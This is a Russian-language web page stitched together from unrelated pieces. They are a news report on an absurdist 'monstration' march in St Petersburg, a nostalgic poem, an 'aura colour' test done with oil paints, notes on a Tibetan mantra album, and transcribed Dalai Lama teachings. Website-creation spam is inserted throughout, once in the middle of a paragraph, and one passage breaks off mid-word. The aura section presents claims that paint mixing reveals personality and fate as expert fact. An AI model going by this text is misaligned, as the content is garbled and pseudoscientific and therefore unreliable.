Монстранты пришли в северную столицу впервые. Ранее сообщалось, что они хотели пройти по Невскому проспекту, но власти города, как водится, отказали, хотя шествие не носит политического характера, а является скорее абсурдистским перформансом. Позднее, согласившись на предложенное властью место проведения шествия, организаторы говорили: "В ходе реализации тонкосрежиссированного плана мы предлагали администрации заведомо ложные маршруты для проведения монстрации в таких унылых местах как Невский проспект, Дворцовая площадь и прочие гетто, чтобы они были вынуждены нам предложить именно тот, что нами был запланирован — в Центре Мира — Полюстрово».

 

Как сообщили организаторы перформанса, монстрация была первой в Петербурге, и поэтому собравшиеся поздравили её, принеся соски, погремушки и воздушные шары. В честь «новорождённой» играл оркестр из экзотических музыкальных инструментов.

 

Шествие возглавили четыре сотрудника правоохранительных органов.

Монстрацию в Петербурге традиционно возглавил человек в костюме зеленой ящерицы, а одна из участниц нарядилась в костюм белого медведя, держа в руках при этом плакат с нарисованным крабом. Другие «монстры» несли плакаты с надписями «Кря», «Я ем», «Лозунг про тесто» и большую растяжку «Улыбаемся и машем».

Идущие вслед за ними монстранты развернули баннер "Улыбаемся и машем". Собравшиеся несли слоганы "Люди, больше лежите!", "Думать зелено", "не следи зо мной", "Александр Сергеевич с нами!" "Палимся!", "Скажи нет да!", "Даёшь широкие пододеяльники", "Парк не для людей!" и др. «Зелёная ящерица» выкрикивала слоганы в мегафон. Когда монстранты встречали на своём пути прогуливающихся мам с колясками, они прекращали кричать слоганы и начинали петь колыбельные, уверяют организаторы шествия.

Организаторы мероприятия хотят сделать монстрацию регулярным мероприятием. В следующий раз, по их словам, монстрация должна состояться в городе в конце августа - в начале сентября.

 

Справка:

Монстрация (от слова демонстрация) — вид массового мероприятия, художественная акция в форме демонстрации с лозунгами, в которых авторы осмысляют окружающую действительность художественными методами. Зачастую содержание транспарантов выглядит предельно абсурдизированным, однако они имеют многозначность. Это действо не по сценарию, автор обозначает лишь место и точное время, остальное — это импровизация и самовыражение участников действа. Главная цель монстрантов — выразить себя, выступая с абсурдистскими и одновременно концептуальными, парадоксальными плакатами. Большую известность получили такие слоганы как «Я больше не буду», «Таня, не плачь!», «Ы-ы-ыть!», «Все свободны!», «Крокодил, крокодю и буду крокодить!», «Кто здесь?»

 

создание сайтов, продвижение сайтов, поддержка сайтов в Санкт-Петербурге и Москве. создание сайтов Создание интернет магазина SEO заказать сайт поддержка сайтов создание сайтов

И ты идешь по городу, и за тобой летят бабочки.

 

Мама на даче, ключ на столе, завтрак можно не делать. Скоро каникулы, восемь лет, в августе будет девять.В августе девять, семь на часах, небо легко и плоско, солнце оставило в волосах выцветшие полоски. Сонный обрывок в ладонь зажать, и упустить сквозь пальцы. Витька с десятого этажа снова зовет купаться. Надо спешить со всех ног и глаз - вдруг убегут, оставят. Витька закончил четвертый класс - то есть почти что старый. Шорты с футболкой - простой наряд, яблоко взять на полдник. Витька научит меня нырять, он обещал, я помню. К речке дорога исхожена, выжжена и привычна. Пыльные ноги похожи на мамины рукавички. Нынче такая у нас жара - листья совсем как тряпки. Может быть, будем потом играть, я попрошу, чтоб в прятки. Витька - он добрый, один в один мальчик из Жюля Верна. Я попрошу, чтобы мне водить, мне разрешат, наверно. Вечер начнется, должно стемнеть. День до конца недели. Я поворачиваюсь к стене. Сто, девяносто девять.

Мама на даче. Велосипед. Завтра сдавать экзамен. Солнце облизывает конспект ласковыми глазами. Утро встречать и всю ночь сидеть, ждать наступленья лета. В августе буду уже студент, нынче - ни то, ни это. Хлеб получерствый и сыр с ножа, завтрак со сна невкусен. Витька с десятого этажа нынче на третьем курсе. Знает всех умных профессоров, пишет программы в фирме. Худ, ироничен и чернобров, прямо герой из фильма. Пишет записки моей сестре, дарит цветы с получки, только вот плаваю я быстрей и сочиняю лучше. Просто сестренка светла лицом, я тяжелей и злее, мы забираемся на крыльцо и запускаем змея. Вроде они уезжают в ночь, я провожу на поезд. Речка шуршит, шелестит у ног, нынче она по пояс. Семьдесят восемь, семьдесят семь, плачу спиной к составу. Пусть они прячутся, ну их всех, я их искать не стану.

Мама на даче. Башка гудит. Сонное недеянье. Кошка устроилась на груди, солнце на одеяле. Чашки, ладошки и свитера, кофе, молю, сварите. Кто-нибудь видел меня вчера? Лучше не говорите. Пусть это будет большой секрет маленького разврата, каждый был пьян, невесом, согрет, теплым дыханьем брата, горло охрипло от болтовни, пепел летел с балкона, все друг при друге - и все одни, живы и непокорны. Если мы скинемся по рублю, завтрак придет в наш домик, Господи, как я вас всех люблю, радуга на ладонях. Улица в солнечных кружевах, Витька, помой тарелки. Можно валяться и оживать. Можно пойти на реку. Я вас поймаю и покорю, стричься заставлю, бриться. Носом в изломанную кору. Тридцать четыре, тридцать...

Мама на фотке. Ключи в замке. Восемь часов до лета. Солнце на стенах, на рюкзаке, в стареньких сандалетах. Сонными лапами через сквер, и никуда не деться. Витька в Америке. Я в Москве. Речка в далеком детстве. Яблоко съелось, ушел состав, где-нибудь едет в Ниццу, я начинаю считать со ста, жизнь моя - с единицы. Боремся, плачем с ней в унисон, клоуны на арене. "Двадцать один", - бормочу сквозь сон. "Сорок", - смеется время. Сорок - и первая седина, сорок один - в больницу. Двадцать один - я живу одна, двадцать: глаза-бойницы, ноги в царапинах, бес в ребре, мысли бегут вприсядку, кто-нибудь ждет меня во дворе, кто-нибудь - на десятом. Десять - кончаю четвертый класс, завтрак можно не делать. Надо спешить со всех ног и глаз. В августе будет девять. Восемь - на шее ключи таскать, в солнечном таять гимне...

Три. Два. Один. Я иду искать. Господи, помоги мне.

источник http://izubr.livejournal.com/218085.html

Как определить цвет своей ауры

При взаимодействии солнечного света с аурой человека образуются новые оттенки, от которых зависит... судьба каждого из нас! То есть наличие среди людей "зеленых", "голубых", "красных" - такая же реальность, как существование различных групп крови.

Шаг первый. Определить цвет своей ауры можно с помощью нехитрого эксперимента. Понадобятся обычные масляные краски в тюбиках, те, с которыми работают художники: красная, синяя и желтая. Напомним, что желтый, синий и красный - основные цвета. Их нельзя создать, смешивая другие краски, зато из этих трех цветов можно получить любой оттенок. Насыщенность цветового тона соответствует внутренней энергетике человека. Темпераменты холериков и меланхоликов в своей основе очень яркие. Но неуравновешенные натуры инстинктивно избегают ярких цветов, опасаясь эмоционального взрыва. Холодные, замкнутые люди предпочитают яркие цвета, чтобы эмоционально согреться их теплом. Освоив теорию, приступайте к практике.

- Положите перед собой по 1 тюбику желтой, красной и синей красок.

- Освободитесь от посторонних мыслей и тревог, успокойтесь.

- Выдавите на лист бумаги из разных тюбиков произвольное количество краски и смешайте. Смешивать можно две, три краски. Впрочем, если вы остановили выбор на одном цвете, это ваше право. Когда, взглянув на цветовое пятно, вы ощутите внутреннее тепло и комф

Шаг второй. Теперь выясните оттенок своего внутреннего "Я". Его взаимодействие с цветом наружной ауры характеризует наклонности человека и влияет на судьбу.

Наденьте на глаза светонепроницаемую повязку. Важное предостережение: не фиксируйте повязку слишком туго - чрезмерное раздражение кожных рецепторов может исказить результаты эксперимента.

- С закрытыми глазами перемешайте тюбики с желтой, красной и синей красками. Крышки тюбиков должны быть плотно завинчены.

- Молча водите над ними раскрытыми ладонями обеих рук, пока не ощутите, как от тюбиков начнет исходить тепло. Выберите тот, который покажется вам теплее остальных.

- Откройте глаза и добавьте произвольное количество краски из выбранного тюбика к цветовому пятну, полученному во время предыдущего опыта. Равномерно смешайте краски.

Чтобы проанализировать результат, обратимся к мнению экспертов - специалистов в области цветотерапии.

Если в полученном цвете преобладает красный, без всяких сомнений, вы - яркая, впечатлительная натура, подверженная всплескам эмоций и склонная к импульсивным действиям. В поисках гармонии с окружающим миром вам помогает артистический талант. Без вашего участия вечеринки скучны, а работа превращается в рутину. Среди "красных" много звезд эстрады. Им свойственно жить по принципу "все или ничего", часто рисковать. Оттенки красного принадлежат стихии Огня, потому такие люди побеждают чаще, чем проигрывают.

Синий цвет ауры - у тех, кто в своих действиях руководствуется скорее умом, нежели сердцем. Среди них много профессиональных разведчиков и спасателей - людей железной воли. Тонкий вкус и стремление к совершенству - отличительная черта обладателей ауры синих оттенков. "Синие" - частые посетители музеев, интернет сайтов и спортивных состязаний.

Голубой - цвет кротости и трудолюбия. Получить его в чистом виде довольно трудно, но те, кто сможет добиться небесного оттенка, и являются воплощением ангельского терпения.

Желтый - цвет ума и гармонии. По природе он близок к белому, объединяющему все цвета солнечного спектра. Желтую ауру можно было бы признать самой гармоничной из всех, если бы не свойства оттенков этого цвета. Например, лимонная аура - свидетельство угнетенного сознания. Шафранный или оранжевый оттенки свидетельствуют об остром уме, сообразительности и склонности к точным наукам - математике и физике. Таблицу умножения приверженцы желтого, не в пример другим, помнят всю жизнь и до глубокой старости предпочитают производить любые расчеты в уме, а не с помощью калькулятора. Родственники "желтых" уверены в том, что их близкие - гении, ведь на всякий вопрос у них всегда готов ответ. А кое-кто полагает, что "желтые" - неисправимые зануды.

Коричневый получается при смешении красной, синей и желтой красок. В "коричневых" соединяются темперамент первых с холодностью вторых и острым умом третьих. Их коммуникабельности можно позавидовать: общий язык найдут с любым человеком. "Коричневые" - прирожденные коммивояжеры. Они виртуозно проведут переговоры. Даже в самых запутанных случаях, когда никто из присутствующих не понимает, о чем идет " речь, смогут найти выход. "Кот в мешке" - говорят об этих людях. Чужой тайный умысел они чувствуют за версту, а все потому, что в них скрыт четвертый цвет - зеленый, образующийся от соединения синего с желтым.

Зеленый - цвет вечной молодости, задора, жизнелюбия. Обладатели зеленой ауры принимают жизнь такой, какая она есть, и живут по тем правилам, которые установлены другими. Это позволяет им находить преимущества в любом положении, даже самом незавидном. Они неисправимые оптимисты. Их суждения не всегда точны, но уж точно оригинальны или просто забавны. Они искренни, как дети, и так же доверчивы. Их редко обманывают, потому что они - преданные друзья. С ними легко и беззаботно. Заказать сайт. Но шалости "зеленых" способны огорчать, если они теряют чувство меры.

Фиолетовый - цвет успеха. Девиз обладателей фиолетовой ауры: "Делу - время, потехе - час". Их жизнь построена на неуклонном соблюдении правил, которые они сами устанавливают как для себя, так и для других. Тому, кто эти правила нарушит, не позавидуешь. "Фиолетовые" могут быть очень жесткими. При этом они не склонны копить обиды. "Фиолетовые" личности - философы. Из них получаются прекрасные государственные чиновники, ученые или, на низшем уровне, хитрецы и аферисты. В фиолетовой ауре заключена одновременно холодность и страсть, и все потому, что этот цвет - результат соединения энергичных вибраций красного цвета с энергетическими достоинствами синего.

Прибежище (1998) Сыгранные и спетые Борисом Гребенщиковым под аккомпанемент Gabrielle Roth and the Mirrors тибетские мантры. Изначально диск выпущен в США с названием "Refuge". SoLyd Records, 1998 Послушать... Альбом "Прибежище" представляет из себя подобие буддийской церемонии, состоящей из молитв и мантр. Слово "мантра" состоит из слогов "ман", что значит "сознание", а также "мыслить" и "чувствовать" - словом, все, что отличает человека, и "трам" - сила, которая помогает и защищает. Лама Анагорика Говинда говорит о мантрах, как о "изначальных звуках и архетипических слово-символах". Мантрические формулы "пре-лингвистичны". Другими словами, они непереводимы. При этом, повторение этих мантр - за счет "некоей вибрации" составляющих слогов - позволяет концентрировать сознание определенным образом. Таким образом, они могут использоваться в качестве "магических формул" для достижения определенных ментальных (а иногда - как следствие - вполне физических) результатов; или же для сосредоточения на буддийских "медитационных божествах". Говорят, что подобное сосредоточение может способствовать очищению сознания от загрязнений, что - по большому счету - и является целью любой медитации. Как и полагается в хорошей буддийской церемонии, ритуал начинается с молитвы прибежища и зарождения в себе просветленного отношения, продолжается непосредственно мантрами и заканчивается посвящением заслуги - то есть мы отдаем всю позитивную энергию, накопленную во время ритуала на благо всем разумным существам. Молитва Прибежища Мантра Ченрези Семистрочная Молитва Ваджра Гуру Мантра Мантра Ваджракилайи Мантра Белой Тары Посвящение Молитва Прибежища Намо Дакданг кха-ньям семчен малю кюн Кьяб-кьи чок-гьюр намла кьяб су чи Монданг джугпей джангчуб сэм-кье нэй Кусум ламей гопанг друбпар гьи Намо Я и все бесчисленные, как небо, существа Принимаем Прибежище в тех, кто - Истинное Прибежище. Развивая в себе просветленное отношение намерения и применения, Я достигну уровня Гуру Трех Тел. Мантра Бодхисаттвы сострадания Ченрези ОМ МАНИ ПЭМЭ ХУМ (*) Бодхисаттва - просветленное существо, принявшее обет помогать всем без исключения разумным существам и - в итоге - привести их к просветлению. Семистрочная Молитва (обращение к основателю тибетского буддизма, "второму будде" Гуру Ринпоче, Падмасамбхаве) Хунг Оргьен юл-гьи нуб-джанг цам Пэма гесар донг-по ла Ямцен чок-ги нгодруб нье Пэма джунг-нэй шесу драг Кхор-ду кхандро манг-по кор Кхье-кьи джесу дагдруб кьи Джингьи лабчир шегсу сол Гуру Пэма сиддхи хунг Хунг На северовосточной границе Уддияны На тычинках цветка лотоса Ты достиг чудесных способностей (сиддх). Прославившийся под именем Лотосорожденного Окруженный свитой из множества дакинь - Следуя за тобой, я достигну результата. Пожалуйста, приди и дай свои благословения! Гуру Падма Сиддхи Хунг   Ваджра Гуру Мантра ОМ АХ ХУНГ БЕНДЗА ГУРУ ПЕМА СИДДХИ ХУНГ   Мантра Ваджракилайи ОМ БЕНДЗА КИЛИ КИЛАЙЯ САРВА БИГАНЕН БАМ ХУМ ПХАТ (*) Ваджракилайя (тиб. Дордже Пурба) - одно из самых устрашающих медитационных божеств Тибета. Однако, все его пугающие атрибуты (три лица, шесть рук, четыре ноги, украшения из змей, черепов и могильного пепла) служат для уничтожения демонов гнева, агрессии и невежества (уютно угнездившихся в нашем сознании), а также защиты практикующих.   Мантра Белой Тары ОМ ТАРЭ ТУТТАРЭ ТУРЭ СОХА (*) Белая (а также Зеленая и др.) Тара - Полностью Просветленная Женская Сущность, Защищающая, спасающая и помогающая всем существам. Иногда ее называют "Мать Всех Будд"   Посвящение Ге ва ди-ий дрова кюн Сонам йеше цог дзог-нэй Сонам йеше лэй юнгва Дампа куньи тобпар шог Пусть благодаря этой заслуге все существа усовершенствуют Накопления заслуги и мудрости И пусть они достигнут двух священных тел В результате этой заслуги и мудрости.   Комментарий. Для того, чтобы всерьез медитировать на конкретное "божество", необходимо получить Посвящение в эту медитацию. Это Посвящение могут дать только квалифицированные для этого ламы. Спето по благословению Тенга Ринпоче, Чокьи Ньима Ринпоче, Беру Кхъенце Ринпоче и Кела Чоклинга Ринпоче. Пусть этот альбом поможет всем существам, слышащим его

Далай-лама о том, какой должна быть практика человека, называющего себя буддистом

Из учения Далай-ламы по текстам Шантидевы «Бодхичарья-аватара» и Далай-ламы III «Ламрим – чистое золото». Часть 1.

Уже больше шестисот лет мы проводим великий молитвенный праздник Монлам. Сейчас мы живём в Индии, оказавшись в изгнании, но, несмотря на это, продолжаем традицию исполнения церемоний великого молитвенного фестиваля. Случилось так, что именно в это время люди из Тибета приходят в Индию для того, чтобы встретиться со своими родственниками. Итак, сегодня здесь собралась группа тибетцев, которые приехали, чтобы встретиться со своими родственниками и друзьями. Здесь также присутствуют люди, которые приехали из тех стран, где буддизм не является традиционной религией, но представляет большой интерес для части населения. Есть здесь и люди из Тайваня, Сингапура, Кореи, то есть из тех стран, где буддизм был распространён изначально и имеет влияние по сей день. Здесь также есть люди из Японии и Китая.

Когда мы говорим слово «Дхарма» или слово «религия», мы должны помнить о том, что все религиозные системы необходимы для того, чтобы приносить пользу всему человечеству. Даже среди тибетцев есть мусульмане и христиане. Как мы видим, здесь собрались люди со всего мира, из самых разных стран. В основном это те, кто обладает верой в Будду Шакьямуни, который родился на нашей планете 2500 лет назад. Конечно, среди последователей буддизма есть люди, которые обладают верой только потому, что этой веры придерживались их предки и она - часть их культурной традиции.

Существуют религии, которые основаны на философии и определённых доктринах, и, конечно, буддизм является одним из таких учений. Именно по этой причине Учение Будды имеет такое большое значение для современного мира. Это учение, построенное на логическом анализе. В наши дни даже учёные начали проявлять интерес к буддийскому учению, которое становится неотъемлемой частью академических исследований. Они не обладают верой в буддизм, однако путем исследований начинают понимать, что в буддийском учении содержатся очень подробные, детальные объяснения, каким образом наши эмоции, ментальные проявления связаны с покоем ума. И, кроме того, буддизм объясняет нам, как мы можем устранить наше ментальное беспокойство, трансформируя свой ум.

Интерес ученых к буддизму не связан с беспокойством о следующем перерождении, но объясняется тем, что буддийское учение можно использовать в контексте конкретной, нынешней жизни, в частности для того, чтобы достичь покоя ума. Поэтому сегодня, в XXI веке всё больше людей проявляют интерес к буддизму и их число растёт.

У людей, которые присутствуют здесь, вера возникла по-разному. Они собрались здесь для участия в великом молитвенном фестивале. Существует традиция, согласно которой в рамках молитвенного фестиваля рассказывается о предшествующих жизнях Будды Шакьямуни, о тех временах, когда он ещё не достиг просветления и был Бодхисаттвой.

Тибетцы, которые пришли сюда из Тибета! Возможно некоторые из вас через несколько дней отправятся домой, но вы должны знать о том, что на этих учениях я буду объяснять текст великого Шантидевы «Бодхичарья-аватара», а также Ламрим «Чистое золото», составленный Далай-ламой III. И поскольку здесь есть тибетцы, которые не смогут присутствовать на учениях до конца, сегодня я хотел бы провести церемонию зарождения Вдохновенной Бодхичитты.

Будда Шакьямуни, прежде чем достичь состояния Будды, на протяжении тысяч и тысяч бесконечных кальп занимался практикой взращивания шести совершенств - практиками принесения пользы живым существам. И когда мы слушаем истории о предшествующих жизнях Будды Шакьямуни, когда размышляем о том, какие усилия он прилагал, пока был еще обычным человеком, а не просветлённым, то мы должны принимать его жизнь в качестве примера и думать о том, каким образом мы на своём духовном пути должны порождать Бодхичитту. Если вы сможете идти по стопам Будды Шакьямуни, если вы сможете взрастить Бодхичитту - устремление к достижению полного Просветления, тогда вы сможете заронить в своё сердце семя Бодхичитты. И если мы сможем поступить так, если мы сможем практиковать Бодхичитту должным образом, тогда наши обычные физические действия (даже если они не будут продвигать нас к Просветлению), то, по меньшей мере, в целом будут альтруистичными. И когда мы умрём и перейдём в следующее рождение, то в силу привычки к практике Бодхичитты мы тотчас же вспомним о ней. И даже в следующей жизни это памятование пробудится в нас без усилий и окажет огромное положительное воздействие.

Если вы подумаете о качестве Бодхичитты в описании Нагарджуны и Шантидевы, это подвигнет нас на пути взращивания Бодхичитты. Мы  будем привыкать к этой практике и старательно устранять все факторы, которые не способствуют развитию Бодхичитты, и, напротив, развивать те факторы, которые способствуют её росту. Что бы мы ни делали в своей жизни, наши действия должны быть направлены на развитие Бодхичитты.

Мы читаем ежедневные молитвы, обращаемся за Прибежищем, взращиваем Бодхичитту в своих молитвах, в которых говорим: «Я обращаюсь за Прибежищем к Будде, Дхарме и Сангхе вплоть до достижения Просветления. И пусть посредством практик даяния я смогу достичь Просветления ради счастья всех живых существ». Если вы сможете не только произносить эти слова, но сделать эту молитву частью своей каждодневной жизни, то тогда, может быть, не будет нужды изучать огромные многотомные тексты. С помощью такой практики мы действительно сможем сделать свою жизнь исполненной смысла.

Сколько здесь людей из Тибета? Сколько из вас пришли сюда, чтобы встретиться со мной и с родственниками? В этом мире существуют разные религиозные традиции. Их основополагающее послание состоит в том, что мы должны практиковать любовь, сострадание, умение прощать и путь ненасилия. В буддизме вы также сможете найти такое послание. Буддизм учит не совершать убийства, воровства и других негативных деяний, но подобные постулаты содержатся и во всех других ключевых религиях мира.

В буддизме мир, в котором мы живем, описывается не как беспричинно возникший. В буддизме говорится о том, что всё, окружающее нас, возникает в силу соответствующих причин. Например, человек состоит из тела и ума. Если мы подумаем серьёзно о теле, то можем задать себе вопрос: «Как долго проживёт это тело?» Конечно, у него есть свои ограничения. Это человеческое тело может прожить не более ста лет. Некоторые черепахи способны жить до четырёхсот лет, а срок жизни маленьких насекомых порой составляет всего лишь несколько дней. Мы видим, что жизненный отрезок того или иного существа зависит от того, из чего состоит их тело, каким образом оно устроено. Даже у вселенной, которая населена всеми живыми существами, тоже есть свой срок существования.

В буддизме говорится о так называемых эре эволюции, эре существования мира и эре распада - стадии, которые ясно показывают нам, что у всего есть свой отмеренный срок. Если мы подумаем о том, как происходит процесс зачатия, то мы увидим, что соединения клеток отца и матери не достаточно для того, чтобы появилось новое существо. Должен быть ещё третий фактор, и этот третий фактор - ум, который вступает во взаимодействие с клетками двух родителей, его состояние.

Теперь вопрос в том, откуда берётся этот ум, что он из себя представляет? Этот ум является тонким умом ясного света, который приходит из предшествующего рождения, и затем вступает в контакт с двумя клетками отца и матери: так происходит процесс зачатия. Если анализировать процесс возникновения тех или иных явлений в контексте буддизма, то мы придем к выводу, что ни одно явление не может проявиться беспричинно.

Ни одно явление не может проявиться в силу постоянно существующей причины, таким образом, буддизм отвергает теорию существования бога-творца, который является первопричиной всего. Потому что если мы признаем существование всемогущего бога-творца, который всё создает, в этом случае мы вынуждены будем признать существование так называемой первичной субстанции. А поскольку такая причинность невозможна и противоречит здравому смыслу, то, следуя логическому анализу, мы можем прийти к выводу, что ничто не может возникнуть с опорой на постоянно существующую неизменную причину.

Итак, мы видим, что все явления, которые окружают нас, обладают элементом непостоянства, элементом перехода из одного состояния в другое. Буддизм говорит, что всё проявляется в силу соответствующих причин и следствий. Возьмём, например, «я», наше собственное «я»: мы испытываем всевозможные переживания, всевозможные чувства. И эти чувства и переживания являются следствием тех или иных действий, которые осуществил тот или иной человек. Так мы видим, что всё возникает в силу соответствующих причин и следствий, ничто не проявляется без причины и ничто не порождается посредством постоянно существующей причины. Эти представления о природе бытия мы называем теорией взаимозависимого возникновения, что является уникальной чертой буддизма. Васубандху в своём тексте «Абхидхармакоша» говорил: «Я возношу молитвы Будде Шакьямуни, который увидел реальность как таковую и на основе этого видения показал людям соответствующие пути». Итак, Васубандху описывает Будду Шакьямуни как человека, который видит, каким всё является на самом деле, как человека, который видит реальность.

Из двух аспектов буддийского учения первый касается философии, второй - поведения. Поведение буддиста - это действия, связанные с ненасилием, что является общим для многих религиозных традиций, хотя разные традиции могут объяснять ненасилие с различной степенью глубины или тонкости. Буддизм же делает уникальным учение о взаимозависимом возникновении. Оно действительно выделяет буддизм среди других религий.

Теперь вопрос в том, почему это так? Все основополагающие религиозные традиции возникли на этой планете не потому, что хотели эксплуатировать людей, но потому что религиозные лидеры видели хаос, в котором пребывает человечество. Они видели, что люди убивают друг друга, допускают неправильное сексуальное поведение, воруют. Они видели человечество буквально пронизано всеми этими страданиями и проблемами, и для того, чтобы их устранить, были сформированы различные религиозные традиции. Таким образом, мы можем сказать, что абсолютно все они едины в том, что подчеркивают важность любви и сострадания, умения прощать. Они говорят, что мы не должны притеснять и обижать друг друга. Теистические религии говорят, что мы не должны притеснять и обижать друг друга, потому что мы едины, всех нас сотворил один Господь Бог. И поскольку мы являемся творениями одного творца, то не должны допускать неправильного поведения по отношению друг к другу. С точки зрения буддизма, Будда - это человек, который преподал глубинные, изысканные учения, однако Будда не был просветлённым с самого начала. В действительности Будда на протяжении многих жизней был обычным человеком, таким же, как мы с вами, но он был готов пройти всевозможные духовные пути, исполнить все необходимые практики и именно это привело его к полному Просветлению.

Учение, данное Буддой, - это то учение, которое использовал он сам и поделился им со всем миром. Его собственный опыт открыл для него удивительное учение о взаимозависимом возникновении, которое показывает, что все является взаимозависимым, любое явление опирается на всевозможные  факторы. Будда дал концепцию не Бога-творца, но концепцию взаимозависимого возникновения - уникальное учение, которое говорит нам, что если мы совершим какое-либо негативное действие, нам придется нести ответственность за совершенное. Будда говорит, что если вы совершаете благое деяние, тогда результаты будут поистине приятными для вас. Если же вы совершаете неблагие действия, то результатом станет страдание.

Мне кажется, это очень достойное учение, всепронизывающая концепция, которая является применимой не только для живых существ, но также для всего мира, для неодушевленных предметов, таких как деревья. Все, о чем вы можете сейчас подумать, все это возникло в силу определенных причин и следствий. Таким является буддийское учение.

И теперь вопрос: какой же должна быть практика человека, который называет себя буддистом? Основополагающий принцип, который преподан в буддизме, является следующим: все неблагоприятные явления являются следствием негативных деяний, а все приятное, все, что доставляет нам удовольствие, является следствием благих деяний.

В основном здесь собрались монахи и миряне с Южной Индии, где стоит очень хорошая погода. И вот сейчас вы проделали весь этот долгий путь, чтобы страдать от холода. Совсем недавно я был в Южной Индии. И когда здесь так холодно, незамедлительно я вспоминаю, какая прекрасная погода на юге Индии: я думаю, как же там прекрасно!

Теперь вопрос в том, что если все возникает с опорой на определенные причины и следствия, то в чем же состоит причина того или иного явления? Может ли какое-то явление возникнуть беспричинно или все-таки причина необходима? Конечно, мы видим, что существуют разные уровни причинности: есть грубые уровни, которые мы способны увидеть собственными глазами, и нам очень легко их объяснить, но есть также тонкие уровни причинности, которые не являются очевидными, но тем не менее они имеют место быть. И если мы просто отвергнем тонкие уровни причинности, сказав, что они не являются очевидными, то совершим ошибку. Подобно тому, как грубые уровни причинности определяют связь между тем или иным объектом и его следствием и его причиной, то же самое должно распространяться и на тонкие уровни причинности. Хотя в большинстве религиозных традициях они являются едиными в том смысле, что подвигают человека к тому, чтобы он совершал благие деяния, которые дают положительные результаты, и, наоборот, устранял негативные деяния, которые приводят к страданию. Тем не менее разные религии по-разному описывают, почему следует так поступать. Некоторые религии говорят о том, что нет определенных причин, что все происходит спорадически, хаотично.

Все неблагие последствия связаны с нашими неспокойными эмоциональными состояниями. Какого-то человека мы можем называть мирным и спокойным, но когда он находится под воздействием гнева, мы можем увидеть собственными глазами, как сама внешность этого человека меняется. И когда гнев уходит, этот человек начинает испытывать очень большое чувство сожаления; он спрашивает себя: «Почему я так поступил, как это могло случиться, как я мог совершить это неблагое действие?»

Когда человек находится под влиянием алкоголя или других интоксикантов, он может совершить самые разные неблагие деяния, так как его ум приходит в неспокойное состояние. Это происходит под воздействием алкоголя, то есть материальных субстанций. Мы очень ясно можем видеть, каким образом такие субстанции приводят к негативным последствиям.

То же самое касается и наших ментальных состояний. Есть определённые ментальные состояния, которые ведут к разнообразным негативным переживаниям или действиям. Например, никому из нас не хочется иметь врагов, никому из нас не хочется, чтобы кто-то нас не любил. Говорим мы о маленьком ребёнке или о целом государстве - нам не хочется, чтобы у нас были люди, желающие нам зла, напротив, мы устремляемся к тому, чтобы у нас были друзья - те, кто желает нам добра. Если мы поразмыслим очень тщательно, то придём к выводу, что чем больше у нас друзей, тем счастливее мы будем. И, напротив, один вид нашего врага порождает в нас ощущение несчастья. Но хотим мы врагов или нет, они есть. Что же заставляет вас иметь врагов? Именно ваше негативное состояние ума. Ваше отвращение и другие негативные эмоции. Это то, что является причиной порождения врагов. Если вы бросите в кого-то камень, то вы тотчас же породите врага. Но если вы не вовлечены эмоционально, не находитесь под властью сильной эмоции, то вы не поднимите камень и не бросите его в вашего врага. Таким образом, мы видим, что негативная эмоция является определяющей - именно она побуждает вас взять камень и кинуть его в другого человека. Это состояние ума, связанное с гневом, заставляет вас быть очень недальновидным: вы не можете видеть дальше своего действия, вы хотите лишь взять камень и бросить его во врага и не думаете, что после этого у вас появится враг. Вы думаете: «Если я сейчас причиню боль врагу, то я буду счастлив». Вы способны думать только об этом.

Что же является источником гнева? Если вы поразмыслите очень тщательно, то вы увидите, что гнев связан с той или иной формой привязанности. Например, представим себе человека, который очень привязан к своей славе. Если какой-либо фактор или человек мешает ему обрести славу, то такой человек придёт в сильное негодование, испытывая негативные эмоции к тому, кто препятствует обретению славы. Таким образом, элемент привязанности лежит в основе проявления гнева. Тогда мы зададим вопрос: «Что же порождает привязанность? Как возникает привязанность?» Причиной привязанности являются нереалистичные состояния ума, которые не основаны на постижении реальности. Под воздействием такого мировоззрения вы видите объект привязанности как очень приятный, как обладающий только положительными свойствами, и у вас появляется огромное желание обрести этот манящий вас объект. Это желание обрести что-либо и является омрачённой привязанностью. Но когда мы хотим, например, достичь состояния Будды, является ли это привязанностью? Состояние Будды - это высшее состояние, в котором нет никаких изъянов. Мы не преувеличим здесь реальность, если скажем, что состояние Будды является высшим из высших. Опираясь на реалистичную картину мира, мы можем сказать, что наше устремление к состоянию Будды не является омрачённой привязанностью. Если же мы преувеличиваем качества того или иного объекта, считаем его приятным и прекрасным, хотя он таковым не является, то имеем дело с негативной, омрачённой формой привязанности. Вот как функционируют различные виды эмоций.

Это то, что объяснено в буддизме, но мы должны очень много и внимательно об этом размышлять. Если вы будете анализировать свои эмоции, то сможете найти способы усмирения негативных эмоций и будете действовать соответствующим образом. Если вы хорошо ведёте себя в монастыре, но стоит вам выйти за его стены монастыря и вы становитесь самым обычным человеком, злым и жадным, то это никуда не годится. Вот так вы должны подробно размышлять о ментальных состояниях и их проявлениях. Необходимо спрашивать себя, являются ли они преувеличением, искажают ли они картину мира? И если вы сами себе ответите утвердительно, то должны подумать о том, каким образом избавиться от негативных эмоций. Но если вы не знаете о функционировании ментальных состояний, но будете просто читать молитвы, однако это вам не поможет. Вы не сможете устранить негативные эмоции одними молитвами.

Его Святейшество Далай-лама о ценности различающей мудрости

Из комментария Далай-ламы на тексты Шантидевы «Бодхичарья-аватара» и Далай-ламы III «Ламрим – чистое золото». Часть 2.

Чаще размышляйте о причинах проявления тех или иных эмоций, размышляйте о том, каким образом ваше собственное достойное поведение приносит благие результаты, и наоборот. Если вы будете опираться на логический анализ и вследствие этого сможете усмирить негативные эмоции, то это станет для вас надёжным способом познания их природы. В буддизме очень чётко объясняется то, каким образом негативные эмоции приводят нас в неспокойное состояние, каким образом они лишают нас внутреннего мира и покоя. Абсолютно ясно, что всё нежелательное на уровне государственном или индивидуальном является следствием омрачённых состояний ума.

Теперь вопрос в том, каким образом мы можем взрастить в себе такие ментальные состояния, которые служили бы противоядием для негативных эмоций. Таким противоядием является различающая мудрость. Именно поэтому в буддизме так много внимания уделяется взращиванию мудрости, интеллектуальных способностей, которые устраняют нереалистичное представление о мире. Мы должны постоянно помнить о том, что все омрачающие эмоции имеют в своей основе неведение. Если вы тщательно поразмыслите, то придёте к выводу, что даже для того, чтобы заботиться о своём теле или зарабатывать деньги, вам необходим здравый смысл и мудрость. Вот почему в мире сегодня так много говорится о важности образования, дающего методы для развития различающей мудрости. Это, прежде всего, необходимо для того, чтобы улучшить жизнь нашего общества.

